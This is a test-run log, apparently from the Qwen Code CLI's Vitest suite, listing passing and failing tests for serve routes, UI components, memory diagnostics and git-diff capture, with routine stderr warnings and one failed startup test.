✓ memoryDiagnostics > surfaces high heap pressure with actionable recommendations 21ms
✓ memoryDiagnostics > surfaces large non-heap memory gaps separately from V8 heap pressure 14ms
✓ memoryDiagnostics > writes heap snapshots to a diagnostics directory with stable filenames 77ms
✓ memoryDiagnostics > refuses heap snapshots when estimated heap dump would leave little free disk 100ms
✓ memoryDiagnostics > rate-limits repeated heap snapshot writes in the same directory 28ms
✓ memoryDiagnostics > keeps only the newest heap snapshots after writing 33ms
✓ memoryDiagnostics > orders heap snapshot cleanup by modification time across process ids 29ms
✓ memoryDiagnostics > uses filename timestamps to break equal-mtime cleanup ties 361ms
✓ memoryDiagnostics > keeps successful heap snapshot writes when cleanup fails 29ms
✓ memoryDiagnostics > removes partial heap snapshot files after a failed write 24ms
✓ memoryDiagnostics > creates heap snapshot directories and files with private permissions 21ms
✓ memoryDiagnostics > refuses heap snapshot writes when free disk space cannot be read 257ms
✓ memoryDiagnostics > falls back to process heap total when V8 heap statistics are unavailable for snapshot sizing 109ms
✓ memoryDiagnostics > uses the default sample count for non-positive sample counts 15ms
✓ memoryDiagnostics > marks V8 diagnostics as warning when heap statistics are unavailable 12ms
✓ memoryDiagnostics > surfaces high active handle counts with actionable recommendations 11ms
✓ memoryDiagnostics > reports high heap pressure only with a finite positive heap limit 11ms
✓ memoryDiagnostics > collects repeated memory pressure samples with waits between samples 63ms
✓ memoryDiagnostics > stops collecting memory pressure samples when aborted 32ms
✓ memoryDiagnostics > formats single memory pressure sample deltas as unavailable 16ms
✓ memoryDiagnostics > formats memory pressure sample deltas 13ms
✓ src/config/settingsSchema.test.ts (40 tests) 1172ms
✓ src/ui/hooks/useBackgroundTaskView.test.ts (17 tests) 2447ms
✓ useBackgroundTaskView > returns empty entries when config is null 806ms
✓ src/ui/utils/osc8.test.ts (81 tests) 1419ms
✓ src/ui/hooks/useResumeCommand.test.ts (12 tests) 2410ms
✓ useResumeCommand > should initialize with dialog closed 700ms
✓ useResumeCommand > handleResume closes the dialog immediately and restores session state 351ms
✓ src/utils/languageUtils.test.ts (58 tests) 783ms
✓ src/config/extension-file-watcher.test.ts (23 tests) 1385ms
✓ ExtensionFileWatcher > watches the extensions directory and linked extension sources 376ms
✓ src/commands/review/cleanup.test.ts (27 tests) 768ms
✓ src/commands/channel/config-utils.test.ts (49 tests) 852ms
✓ src/serve/channel-settings-store.test.ts (37 tests) 12450ms
✓ WorkspaceChannelSettingsStore > preserves an existing secret unless replace or clear is explicit 9087ms
✓ WorkspaceChannelSettingsStore > replaces and clears secrets only through explicit operations 719ms
✓ src/ui/commands/clearCommand.test.ts (16 tests) 1421ms
✓ src/ui/hooks/useAutoAcceptIndicator.test.ts (21 tests) 2658ms
✓ useAutoAcceptIndicator > should initialize with ApprovalMode.AUTO_EDIT if config.getApprovalMode returns ApprovalMode.AUTO_EDIT 603ms
✓ useAutoAcceptIndicator > should emit the AUTO mode entry notice with the active locale 356ms
✓ src/startup/startup-prefetch.test.ts (31 tests) 1642ms
✓ startupPrefetch > records completed profiler lifecycle events for successful deferred tasks 546ms
✓ src/serve/create-sub-session.test.ts (21 tests) 2807ms
✓ sub-session launcher > sent: spawns a thread-scoped session, dispatches, returns the id (background subscribe holds slot) 397ms
✓ sub-session launcher > clamps the total cap to the tracked-id set size 1159ms
✓ src/ui/components/HistoryItemDisplay.test.tsx (34 tests) 10500ms
✓ > renders UserMessage for "user" type 1594ms
✓ > renders assistant replies with a leading spacer row 613ms
✓ > renders StatsDisplay for "stats" type 531ms
✓ > renders AboutBox for "about" type 358ms
✓ > renders SessionSummaryDisplay for "quit" type 521ms
✓ > should render a truncated gemini item 632ms
✓ > should render a full gemini item when using availableTerminalHeightGemini 1009ms
✓ > should render a truncated gemini_content item 736ms
✓ > should render a full gemini_content item when using availableTerminalHeightGemini 1153ms
✓ > renders committed thinking collapsed by default 329ms
✓ > showTimestamps > renders [HH:MM:SS] timestamp when showTimestamps is enabled 361ms
✓ src/ui/utils/mermaidImageRenderer.test.ts (25 tests) 21063ms
✓ mermaid image renderer > renders Mermaid through mmdc when terminal images are available 900ms
✓ mermaid image renderer > renders Mermaid through Kitty asynchronously for interactive UI callers 1102ms
✓ mermaid image renderer > honors the configured terminal cell aspect ratio when fitting images 788ms
✓ mermaid image renderer > falls back to the default render timeout when configured timeout is invalid 811ms
✓ mermaid image renderer > renders Mermaid through chafa when terminal images are unavailable 1847ms
✓ mermaid image renderer > does not forward API credentials to external renderers 846ms
✓ mermaid image renderer > renders Mermaid through chafa asynchronously for interactive UI callers 1891ms
✓ mermaid image renderer > bounds retained renderer output from async command failures 1852ms
✓ mermaid image renderer > bounds retained renderer output across many async stderr chunks 1955ms
✓ mermaid image renderer > cancels async Mermaid CLI rendering when the caller aborts 930ms
✓ mermaid image renderer > renders Kitty terminal images as virtual placements 817ms
✓ mermaid image renderer > rejects oversized Mermaid PNG output before reading it 811ms
✓ mermaid image renderer > evicts Mermaid image caches by retained byte size 6083ms
✓ src/serve/bridge-file-system-adapter.test.ts (21 tests) 2466ms
✓ createBridgeFileSystemAdapter > writeText (trusted workspace) > writes content to disk through the PR 18 layer 875ms
✓ src/ui/commands/summaryCommand.test.ts (35 tests) 2823ms
✓ summaryCommand custom export path > defaults to .qwen/PROJECT_SUMMARY.md with no argument 782ms
✓ src/serve/workspace-skill-management.test.ts (24 tests) 7013ms
✓ workspace Skill management > installs folder files into the workspace and deletes them 1025ms
✓ workspace Skill management > installs a ZIP into the global Skill directory 1154ms
✓ workspace Skill management > installs a Skill from a GitHub SKILL.md URL 1237ms
✓ workspace Skill management > reports an expanded ZIP entry over the limit as too large 417ms
✓ workspace Skill management > reports a ZIP whose total expanded content is over the limit 1444ms
✓ workspace Skill management > keeps the existing Skill when replacement validation fails 366ms
(node:17126) MaxListenersExceededWarning: Possible EventEmitter memory leak detected. 11 resize listeners added to [Stdout]. MaxListeners is 10. Use emitter.setMaxListeners() to increase limit
(Use `node --trace-warnings ...` to show where the warning was created)
✓ src/ui/components/shared/VirtualizedList.test.tsx (22 tests) 17359ms
✓ > renders nothing visible when data is empty 1380ms
✓ > renders all items when renderStatic is true (full list, no virtualization) 727ms
✓ > with SCROLL_TO_ITEM_END as initialScrollIndex, anchors at the last item 590ms
✓ > collapses bottom-stuck viewport to measured rows when estimates are too tall 3566ms
✓ > collapses a short bottom-stuck list below the container height 680ms
✓ > targetScrollIndex anchors to that index on first usable render 355ms
✓ > exposes scrollToEnd via imperative ref and snaps to the last item 719ms
✓ > scrollToIndex moves scroll anchor to the requested index 673ms
✓ > estimator returning NaN/negative is coerced to 0 (no scroll-math poison) 304ms
✓ > handles initialScrollIndex pointing past the end gracefully 312ms
✓ > scrollBy > scrollBy positive moves the viewport down 551ms
✓ > scrollBy > scrollBy negative moves the viewport up and clears sticking-to-bottom 626ms
✓ > scrollBy > scrollBy past bottom re-engages sticking-to-bottom with live end anchor 574ms
✓ > scrollBy > scrollBy clamps to 0 when scrolling past the top 557ms
✓ > scrollTo > scrollTo middle offset positions correctly 968ms
✓ > scrollTo > scrollTo 0 moves to the beginning 709ms
✓ > scrollTo > scrollTo past maxScroll re-engages sticking-to-bottom 583ms
✓ > scrollTo > scrollTo negative is clamped to 0 655ms
✓ > auto-scroll during streaming > auto-scrolls when at bottom and data grows 662ms
✓ > auto-scroll during streaming > does NOT auto-scroll when user has scrolled away from bottom 658ms
✓ > auto-scroll during streaming > re-engages auto-scroll when user scrolls back to bottom 1068ms
✓ src/ui/hooks/useDeleteCommand.test.ts (20 tests) 2234ms
✓ useDeleteCommand > opens and closes the dialog 579ms
✓ useDeleteCommand > handleDeleteMany > reports an error when the call throws and releases the in-flight guard 305ms
fatal: ambiguous argument 'HEAD': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git [...] -- [...]'
✓ src/commands/review/lib/local-diff.integration.test.ts (27 tests) 38078ms
✓ captureLocalDiff — untracked files > includes a brand-new file that `git diff HEAD` cannot see 2006ms
✓ captureLocalDiff — untracked files > is the difference between "no changes to review" and a review 1472ms
✓ captureLocalDiff — untracked files > carries staged, unstaged and untracked changes in one diff 1360ms
✓ captureLocalDiff — untracked files > honours .gitignore — an ignored file is not "untracked work" 1572ms
✓ captureLocalDiff — untracked files > handles a filename containing a space 1324ms
✓ captureLocalDiff — untracked files > names an oversized untracked file instead of silently dropping it 1352ms
✓ captureLocalDiff — untracked files > never claims to have reviewed a directory-shaped untracked entry 1425ms
✓ captureLocalDiff — untracked files > records a file git could not diff, and keeps the others 1438ms
✓ captureLocalDiff — untracked files > does not capture the review own .qwen/tmp scratch files 1222ms
✓ captureLocalDiff — untracked files > reports an oversized tracked diff instead of inlining it 2341ms
✓ captureLocalDiff — untracked files > reviews a dangling symlink instead of skipping it 1276ms
✓ captureLocalDiff — untracked files > abandons the untracked pass when the tree has too many, and says so 1337ms
✓ captureLocalDiff — untracked files > stops inlining untracked files once the total budget is spent 3103ms
✓ captureLocalDiff — untracked files > can be turned off, restoring the tracked-only scope 1132ms
✓ captureLocalDiff — untracked files > does not stage anything — the index and worktree are untouched 1522ms
✓ captureLocalDiff — untracked files > scopes to one path with `file`, untracked target included 1307ms
✓ captureLocalDiff — untracked files > resolves `file` against the caller’s directory, not the repo root 1330ms
✓ captureLocalDiff — untracked files > refuses a `file` outside the repository 1145ms
✓ captureLocalDiff — untracked files > reads a glob-shaped filename as a name, not as a pathspec 1407ms
✓ captureLocalDiff — untracked files > accepts a valid file whose name merely begins with dots 1252ms
✓ captureLocalDiff — untracked files > does not mistake prose about binary patches for a binary file 1246ms
✓ captureLocalDiff — untracked files > still catches a binary marker sitting past the first 4 kB 793ms
✓ captureLocalDiff — untracked files > never claims to have reviewed a binary file 1378ms
✓ captureLocalDiff — untracked files > produces a diff the chunk planner can tile 1444ms
✓ captureLocalDiff — degenerate repos > survives a repo with no commits (unborn HEAD) 864ms
✓ captureLocalDiff — degenerate repos > survives an unborn HEAD in a SHA-256 repository 775ms
✓ captureLocalDiff — degenerate repos > reports a clean tree as an empty diff, not an error 1177ms
✓ src/commands/review/lib/anchors.test.ts (29 tests) 5980ms
✓ does not throw on a candidate set past the argument-spread limit 4931ms
✓ src/ui/commands/directoryCommand.test.tsx (27 tests) 1509ms
✓ src/config/hot-reload.test.ts (29 tests) 1876ms
✓ src/ui/keyMatchers.test.ts (50 tests) 604ms
✓ src/ui/components/messages/CompactToolGroupDisplay.test.tsx (48 tests) 3651ms
✓ — shell timeout plumbing > surfaces shell timeoutMs inline via ToolElapsedTime 1928ms
✓ src/ui/commands/diffCommand.test.ts (26 tests) 1016ms
✓ src/utils/handleAutoUpdate.test.ts (28 tests) 1890ms
✓ handleAutoUpdate > should do nothing if update info is null 316ms
✓ handleAutoUpdate — standalone path > calls performStandaloneUpdate and does NOT spawn npm 313ms
✓ src/commands/review/fetch-pr.test.ts (36 tests) 1110ms
✓ src/serve/fs/paths.test.ts (36 tests) 1630ms
✓ canonicalizeWorkspace > returns the realpath for an existing absolute directory 346ms
✓ src/commands/review/lib/path-rules.test.ts (43 tests) 639ms
✓ src/ui/components/MemoryDialog.test.tsx (17 tests) 10337ms
✓ MemoryDialog > renders managed memory folders without advertising QWEN.md 2389ms
✓ MemoryDialog > opens managed memory folders instead of launching an editor 398ms
✓ MemoryDialog > opens managed memory folders on darwin without display variables 407ms
✓ MemoryDialog > opens managed memory folders on win32 without display variables 589ms
✓ MemoryDialog > opens the project managed memory folder after moving selection down 678ms
✓ MemoryDialog > opens the second visible item with its numeric shortcut 321ms
✓ MemoryDialog > shows an error when opening a managed memory folder fails 965ms
✓ MemoryDialog > moves selection with Ctrl+N/P readline aliases 606ms
✓ MemoryDialog > chains focus list ↑ autoSkillConfirm ↑ autoSkill ↑ autoDream ↑ autoMemory and back down 801ms
✓ MemoryDialog > toggles Auto-skill on Enter and persists to workspace settings 585ms
✓ MemoryDialog > toggles Auto-skill back OFF on Enter (re-disable path) 457ms
✓ MemoryDialog > toggles autoSkillConfirm on Enter and persists to workspace settings 336ms
✓ MemoryDialog > opens the project QWEN.md editor entry when managed memory is unavailable 322ms
✓ MemoryDialog > reflects the persisted value when the dialog is reopened (remounted) 730ms
✓ src/validateNonInterActiveAuth.test.ts (13 tests) 1164ms
qwen serve: [/work/bound] extensions install: failed to broadcast failure: bridge.broadcastExtensionsChanged is not a function
qwen serve: [/work/bound] extensions install: background task failed: generation closed
✓ src/serve/routes/workspace-extensions-controller.test.ts (12 tests) 2545ms
✓ createExtensionsController > releases the commit lane when a manual refresh times out 539ms
✓ createExtensionsController > normalizes the current language when resolving extension metadata 450ms
✓ src/serve/workspace-registry.test.ts (19 tests) 869ms
✓ src/serve/routes/workspace-setup-github.test.ts (16 tests) 10081ms
✓ POST /workspace/setup-github > requires strict mutation auth 3572ms
✓ POST /workspace/setup-github > requires consent 448ms
✓ POST /workspace/setup-github > returns workflow summary and publishes github_setup_completed 657ms
✓ POST /workspace/setup-github > does not publish completion after the runtime generation closes 510ms
✓ POST /workspace/setup-github > returns retryable unavailable when generation closes before directory setup 375ms
✓ POST /workspace/setup-github > rejects untrusted workspace before creating workflow directory 431ms
✓ POST /workspace/setup-github > rejects a directory that becomes a symlink before mkdir completes 303ms
✓ POST /workspace/setup-github > does not use workspace proxy settings before trust is established 681ms
✓ POST /workspace/setup-github > does not let workspace settings disable fallback trust checks 816ms
✓ POST /workspace/setup-github > uses workspace proxy settings after trust is established 619ms
✓ POST /workspace/setup-github > uses the owning runtime environment for proxy fallback 362ms
✓ src/services/SkillCommandLoader.test.ts (28 tests) 1162ms
✓ src/commands/review/test-delta.test.ts (27 tests) 1230ms
✓ the CLI option contract > parses --pr-worktree into the field runTestDelta actually reads 428ms
✓ src/serve/auth/qwen-device-flow-provider.test.ts (12 tests) 958ms
✓ QwenOAuthDeviceFlowProvider.poll() — stderr audit branches > skips stderr audit when caller aborted before poll started (signal.aborted check) 480ms
✓ src/startup/worktreeStartup.test.ts (18 tests) 29570ms
✓ setupStartupWorktree > rejects when the launch cwd is not a git repo 1711ms
✓ setupStartupWorktree > creates a worktree with an auto-generated slug for bare --worktree 2665ms
✓ setupStartupWorktree > creates a worktree with an explicit slug 2239ms
✓ setupStartupWorktree > rejects invalid slug characters before any git operation 1115ms
✓ setupStartupWorktree > rejects #N PR references when origin remote is missing 1531ms
✓ setupStartupWorktree > rejects full GitHub PR URLs when origin remote is missing 1679ms
✓ setupStartupWorktree > creates a pr- worktree from FETCH_HEAD when fetch succeeds (local fake remote) 5041ms
✓ setupStartupWorktree > re-attaches to an existing worktree instead of erroring (Phase 6 G1 fix) 2718ms
✓ setupStartupWorktree > refuses to re-attach when an existing dir occupies the slot on a different branch 1456ms
✓ setupStartupWorktree > refuses nested worktree creation from inside .qwen/worktrees/ 1007ms
✓ persistStartupWorktreeSidecar > adopts a stale marker when re-attaching to an inactive owner 2595ms
✓ persistStartupWorktreeSidecar > keeps the marker when the owner runtime is still active 2556ms
✓ persistStartupWorktreeSidecar > finds an active owner under a repo-subdir relative runtime dir 2992ms
✓ src/ui/utils/customBanner.test.ts (40 tests) 1774ms
✓ resolveCustomBanner > caps art width by terminal cells, not UTF-16 length (CJK fullwidth) 366ms
✓ src/commands/review/parse-args.test.ts (48 tests) 2465ms
✓ parseArgsCommand wiring > --stdin carries a flag-first raw string that the positional cannot 792ms
✓ src/serve/workspace-git-state.test.ts (18 tests) 1406ms
✓ WorkspaceGitState > returns the current branch and publishes only real changes 343ms
qwen serve: --rate-limit-prompt must be a positive integer.
qwen serve: --rate-limit-mutation must be a positive integer.
qwen serve: --rate-limit-read must be a positive integer.
qwen serve: --rate-limit-window-ms must be an integer >= 1000.
qwen serve: --channel all cannot be combined with channel names.
qwen serve: --open passes the token in the browser launch command (visible via `ps` / /proc); on a multi-user host open the URL manually instead.
qwen serve: failed to open browser: boom
❯ src/commands/serve.test.ts (39 tests | 1 failed) 34600ms
✓ serve command args > parses --enable-session-shell 648ms
✓ serve command args > defaults direct session shell to disabled 126ms
✓ serve command args > defaults max sessions to 32 99ms
✓ serve command args > accepts --experimental-lsp in strict parser mode 69ms
✓ serve command args > parses --permission-response-timeout-ms as a number 109ms
✓ serve command args > parses --compacted-replay-max-bytes as a number 49ms
✓ serve command args > parses --max-total-sessions as a number 50ms
✓ serve command args > parses --initialize-timeout-ms as a number 43ms
✓ serve command args > leaves --permission-response-timeout-ms unset by default 46ms
✓ serve command args > leaves --initialize-timeout-ms unset by default 158ms
✓ serve command args > parses --experimental-lsp for daemon child opt-in 51ms
✓ serve command args > registers --experimental-lsp as an explicit serve option 23ms
✓ serve command args > parses --web (default true) and --no-web 76ms
✓ serve command args > parses --open (default false) 69ms
✓ serve command args > parses repeatable --channel values 93ms
✓ serve command args > parses a single --workspace value as a single-element array 41ms
✓ serve command args > parses repeatable --workspace values as an array 37ms
✓ serve command args > parses --memory-project-scope and rejects unsupported values 180ms
✓ serve command args > rejects valueless --workspace forms 112ms
✓ serve command args > preserves repeatable --workspace values in command mode 336ms
✓ serve rate limit env parsing > rejects non-decimal QWEN_SERVE_RATE_LIMIT_PROMPT=0x10 263ms
✓ serve rate limit env parsing > rejects non-decimal QWEN_SERVE_RATE_LIMIT_MUTATION=1e3 70ms
✓ serve rate limit env parsing > rejects non-decimal QWEN_SERVE_RATE_LIMIT_READ=2.5 67ms
✓ serve rate limit env parsing > rejects non-decimal QWEN_SERVE_RATE_LIMIT_WINDOW_MS=0x3e8 53ms
✓ serve rate limit env parsing > passes decimal env values to runQwenServe 318ms
✓ serve rate limit env parsing > passes normalized named channels to runQwenServe 125ms
✓ serve rate limit env parsing > passes compacted replay byte cap to runQwenServe 111ms
✓ serve rate limit env parsing > passes --max-total-sessions to runQwenServe 107ms
✓ serve rate limit env parsing > passes --memory-project-scope to runQwenServe 105ms
✓ serve rate limit env parsing > passes --channel all as an all-channel selection 114ms
✓ serve rate limit env parsing > rejects --channel all mixed with concrete channels 52ms
✓ maybeOpenWebShellBrowser > does nothing when --open is false 8ms
✓ maybeOpenWebShellBrowser > does nothing when the Web Shell is not mounted 5ms
✓ maybeOpenWebShellBrowser > does nothing when shouldLaunchBrowser() is false 5ms
✓ maybeOpenWebShellBrowser > rewrites a wildcard bind host to loopback 74ms
✓ maybeOpenWebShellBrowser > puts the token in the URL fragment, not the query 32ms
✓ maybeOpenWebShellBrowser > skips --open when the runtime failed to mount 12ms
✓ maybeOpenWebShellBrowser > swallows openBrowserSecurely failures (never throws) 23ms
× serve startup import boundary > reaches listening through the dev entrypoint without loading interactive Ink internals first 30398ms
→ serve did not reach listening
stdout:
stderr:
(node:20343) [DEP0205] DeprecationWarning: `module.register()` is deprecated. Use `module.registerHooks()` instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
(node:20357) [DEP0205] DeprecationWarning: `module.register()` is deprecated. Use `module.registerHooks()` instead.
(Use `node --trace-deprecation ...` to show where the warning was created)
qwen serve: daemon log → /tmp/qws-import-boundary-2SvfPh/debug/daemon/daemon.log
✓ src/ui/hooks/useProviderUpdates.test.ts (17 tests) 2430ms
✓ useProviderUpdates > does not show update prompt when no version is stored 583ms
✓ src/agent-view/supervisor-store.test.ts (22 tests) 1951ms
✓ agent view supervisor store > writes credential files without following a pre-placed symlink 554ms
✓ src/serve/workspace-providers-status.test.ts (19 tests) 3945ms
✓ createWorkspaceProvidersStatusProvider > reads fresh default model settings on every request 1678ms
✓ src/ui/commands/renameCommand.test.ts (24 tests) 1163ms
✓ src/ui/utils/updateCheck.test.ts (39 tests) 1509ms
✓ checkForUpdates > should return null when running from source (DEV=true) 449ms
✓ src/serve/routes/workspace-channel-management.test.ts (11 tests) 10996ms
✓ workspace Channel management routes > lists catalog and sanitized instances without mutation auth 7040ms
✓ workspace Channel management routes > routes strict CRUD and lifecycle mutations to the primary service 1273ms
✓ workspace Channel management routes > manages pairing requests and approvals in the selected workspace 506ms
✓ workspace Channel management routes > rejects requests with an invalid client ID 534ms
✓ workspace Channel management routes > rejects malformed names, revisions, secrets, and pairing codes 338ms
qwen serve: DELETE /workspace/models error (authType=openai, modelId=gpt-4o): disk full
qwen serve: DELETE /workspace/models error (authType=openai, modelId=gpt-4o): partial
✓ src/serve/routes/workspace-models.test.ts (23 tests) 6503ms
✓ DELETE /workspace/models > returns 503 without broadcasting when the runtime closes after persist 2092ms
✓ DELETE /workspace/models > removes a model from ~/.qwen/settings.json and keeps siblings 409ms
✓ DELETE /workspace/models > clears the active model when the deleted model was selected 782ms
✓ DELETE /workspace/models > registers the route behind strict mutation gating 333ms
✓ src/ui/utils/InlineMarkdownRenderer.test.tsx (29 tests) 5224ms
✓ > leaves shell-style dollar variables untouched by default 1493ms
✓ > renders inline math only when explicitly enabled 723ms
✓ > markdown link OSC 8 wrapping > does not wrap dangerous schemes (javascript:, data:, file:, …) 318ms
✓ src/serve/routes/a2ui-action.test.ts (22 tests) 4438ms
✓ POST /session/:id/a2ui-action > rejects a missing or empty name with 400 1681ms
✓ POST /session/:id/a2ui-action > skips unusable workspace settings configs during fallback 666ms
libpng: invalid IHDR data
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
second line
✓ src/ui/utils/terminal-image-renderer.test.ts (23 tests) 8110ms
✓ terminalImageRenderer > renders a Kitty virtual image with placeholder rows 754ms
✓ terminalImageRenderer > falls back to chafa symbol output 1134ms
✓ terminalImageRenderer > surfaces chafa stderr when rendering fails 1081ms
✓ terminalImageRenderer > bounds a verbose chafa failure to a capped first line 1019ms
✓ terminalImageRenderer > caches a render so resize and restore do not re-spawn chafa 3181ms
✓ src/ui/hooks/useExtensionUpdates.test.ts (16 tests) 2815ms
✓ useConfirmUpdateRequests > should add a confirmation request 835ms
✓ useExtensionUpdates > should check for updates and log a message if an update is available 478ms
✓ src/services/BundledSkillLoader.test.ts (27 tests) 1612ms
✓ BundledSkillLoader > should return empty array when config is null 359ms
✓ src/config/jsonSchemaArg.test.ts (40 tests) 10299ms
✓ resolveJsonSchemaArg > parses an inline JSON literal into a schema object 1230ms
✓ resolveJsonSchemaArg > reads schema from disk via @path syntax 382ms
✓ resolveJsonSchemaArg > throws when schema is syntactically JSON but invalid as a JSON Schema 311ms
✓ resolveJsonSchemaArg > accepts a minimal empty-object schema 341ms
✓ resolveJsonSchemaArg > accepts a draft-2020-12 schema 961ms
✓ resolveJsonSchemaArg > accepts root anyOf when at least one branch accepts object 303ms
✓ resolveJsonSchemaArg > accepts nested anyOf/oneOf chains where a deep branch accepts object 313ms
✓ resolveJsonSchemaArg > accepts type:"object" combined with anyOf where one branch admits object 635ms
✓ resolveJsonSchemaArg > accepts allOf where every branch admits object 427ms
✓ resolveJsonSchemaArg > accepts root `not:{type:"object", ...narrowing}` because narrowing keywords leave some objects satisfiable 836ms
✓ resolveJsonSchemaArg > accepts boolean subschemas in anyOf where any branch is true 679ms
✓ resolveJsonSchemaArg > accepts $ref nested inside anyOf / oneOf / allOf branches 759ms
✓ resolveJsonSchemaArg > accepts if/then/else when the decidable branch admits objects 759ms
✓ src/runtime/workspace-remember-errors.test.ts (41 tests) 1099ms
✓ src/commands/review/drive.test.ts (24 tests) 4852ms
✓ the wrapper, driven for real > reports the code for every exit path 459ms
✓ the wrapper, driven for real > capping the STREAM never yields the true exit code — measured, not assumed 348ms
✓ readiness > polls until the probe passes, and reports how long that took 1578ms
✓ readiness > polls at a bounded RATE — the wait cannot depend on the platform 1030ms
✓ the server name > quotes the paths anyway — the charset and the quoting are two guards 499ms
✓ the log cap > stops a too-loud drive as its OWN outcome, with no exit code 359ms
✓ src/ui/commands/config-command.test.ts (38 tests) 1698ms
✓ configCommand > set boolean value > sets a boolean setting to true 469ms
qwen serve: POST /workspace/memory refused — existing file /tmp/qwen-serve-memory-qKJXca/workspace/QWEN.md is 17825792 bytes (cap 16777216)
qwen serve: POST /workspace/memory failed (scope=workspace mode=append): Error: EACCES: permission denied, open '/tmp/qwen-serve-memory-3WiQmP/workspace/QWEN.md'
at open (node:internal/fs/promises:1387:25)
at Object.writeFile (node:internal/fs/promises:2116:14)
at runWrite (/build/qwen-code/src/qwen-code/packages/core/src/memory/writeContextFile.ts:220:3)
at /build/qwen-code/src/qwen-code/packages/core/src/memory/writeContextFile.ts:163:19
qwen serve: POST /workspace/memory failed (scope=workspace mode=append): Error: EACCES: permission denied, open '/tmp/qwen-serve-memory-3WiQmP/workspace/QWEN.md'
at open (node:internal/fs/promises:1387:25)
at Object.writeFile (node:internal/fs/promises:2116:14)
at runWrite (/build/qwen-code/src/qwen-code/packages/core/src/memory/writeContextFile.ts:220:3)
at /build/qwen-code/src/qwen-code/packages/core/src/memory/writeContextFile.ts:163:19
qwen serve: GET /workspace/memory failed: Error: boom
at collectStatus (/build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-memory.test.ts:465:17)
at /build/qwen-code/src/qwen-code/packages/cli/src/serve/workspace-memory.ts:201:28
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at next (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:157:13)
at Route.dispatch (/build/qwen-code/src/qwen-code/node_modules/router/lib/route.js:117:3)
at handle (/build/qwen-code/src/qwen-code/node_modules/router/index.js:435:11)
at Layer.handleRequest (/build/qwen-code/src/qwen-code/node_modules/router/lib/layer.js:152:17)
at /build/qwen-code/src/qwen-code/node_modules/router/index.js:295:15
at processParams (/build/qwen-code/src/qwen-code/node_modules/router/index.js:582:12)
at next (/build/qwen-code/src/qwen-code/node_modules/router/index.js:291:5)
✓ src/serve/workspace-memory.test.ts (17 tests) 5323ms
✓ workspace memory routes > GET /workspace/memory > returns idle status when no QWEN.md or AGENTS.md exists anywhere 1499ms
✓ workspace memory routes > POST /workspace/memory > appends to workspace QWEN.md and emits memory_changed 511ms
✓ workspace memory routes > POST /workspace/memory > suppresses memory_changed event when append content is whitespace only 361ms
✓ workspace memory routes > POST /workspace/memory > returns 413 memory_file_too_large when existing QWEN.md exceeds the 16 MB cap 640ms
✓ workspace memory routes > POST /workspace/memory > omits errorMessage + filePath in 500/413 responses unless QWEN_SERVE_DEBUG is on 569ms
✓ workspace memory routes > POST /workspace/memory > returns 500 memory_discovery_failed when GET helper throws unexpectedly 313ms
✓ src/ui/components/shared/BaseSelectionList.test.tsx (26 tests) 8083ms
✓ BaseSelectionList > Rendering and Structure > should render all items using the renderItem prop 1933ms
✓ BaseSelectionList > Rendering and Structure > should render the selection indicator (› or space) and layout 337ms
✓ BaseSelectionList > Numbering (showNumbers) > should apply correct padding for alignment in long lists 486ms
✓ BaseSelectionList > Scrolling and Pagination (maxItemsToShow) > should scroll up when activeIndex moves before the visible window 717ms
✓ BaseSelectionList > Scrolling and Pagination (maxItemsToShow) > should handle dynamic scrolling through multiple activeIndex changes 523ms
✓ BaseSelectionList > Scroll Arrows (showScrollArrows) > should show arrows with correct colors when enabled (at the top) 556ms
✓ src/config/migration/versions/v2-to-v3.test.ts (31 tests) 979ms
✓ src/serve/workspace-registration-store.test.ts (27 tests | 1 skipped) 38392ms
✓ WorkspaceRegistrationStore > persists, deduplicates, and removes workspace paths 27792ms
✓ WorkspaceRegistrationStore > reports lock release failure after a committed write 8452ms
✓ src/commands/channel/pidfile.test.ts (29 tests) 1294ms
Error parsing settings file.
Settings file may be corrupted: CloseBraceExpected at offset 118
✓ src/utils/jsonc-editor.test.ts (33 tests) 1391ms
✓ jsonc editor > updateSettingsFilePreservingFormat > should preserve comments when updating settings 345ms
✓ src/ui/components/StatsDisplay.test.tsx (17 tests) 10215ms
✓ > renders only the Performance section in its zero state 2849ms
✓ > renders a table with two models correctly 823ms
✓ > renders all sections when all data is present 564ms
✓ > Conditional Rendering Tests > hides Efficiency section when cache is not used 385ms
✓ > Conditional Color Tests > renders success rate in red for low values 342ms
✓ > Code Changes Display > displays Code Changes when line counts are present 312ms
✓ > Code Changes Display > hides Code Changes when no lines are added or removed 757ms
✓ > Subagent source attribution > renders a plain model name when only main is a source 795ms
✓ > Subagent source attribution > shows main and subagent suffixes when the same model has multiple sources 498ms
✓ > Subagent source attribution > labels main rows session-wide when a subagent uses a different model 443ms
✓ > Subagent source attribution > shows distinct rows when two subagents share a model 363ms
✓ > Title Rendering > renders the custom title when a title prop is provided 699ms
✓ src/acp-integration/acpAgent.worktree.test.ts (3 tests) 1127ms
✓ QwenAgent loadSession — Phase C worktree context restore > VP1: stale sidecar — pendingWorktreeNotice stays null 692ms
✓ src/serve/rate-limit.test.ts (28 tests) 18921ms
✓ rateLimit > token bucket - continuous drip > allows requests up to max 316ms
✓ rateLimit > fail-open > passes through when bucket map is at capacity 17894ms
✓ src/ui/commands/cdCommand.test.ts (22 tests) 3125ms
✓ cdCommand > has command metadata 436ms
✓ cdCommand > drops stale trust confirmations after the pending cap 866ms
✓ cdCommand > trusts the target directory after confirmation before moving 394ms
✓ src/ui/components/agent-view/agentHistoryAdapter.test.ts (35 tests) 611ms
✓ src/ui/components/ModelStatsDisplay.test.tsx (17 tests) 9826ms
✓ > should render "no API calls" message when there are no active models 2004ms
✓ > should not display conditional rows if no model has data for them 1022ms
✓ > should display conditional rows if at least one model has data 555ms
✓ > should display stats for multiple models correctly 502ms
✓ > should handle large values without wrapping or overlapping 328ms
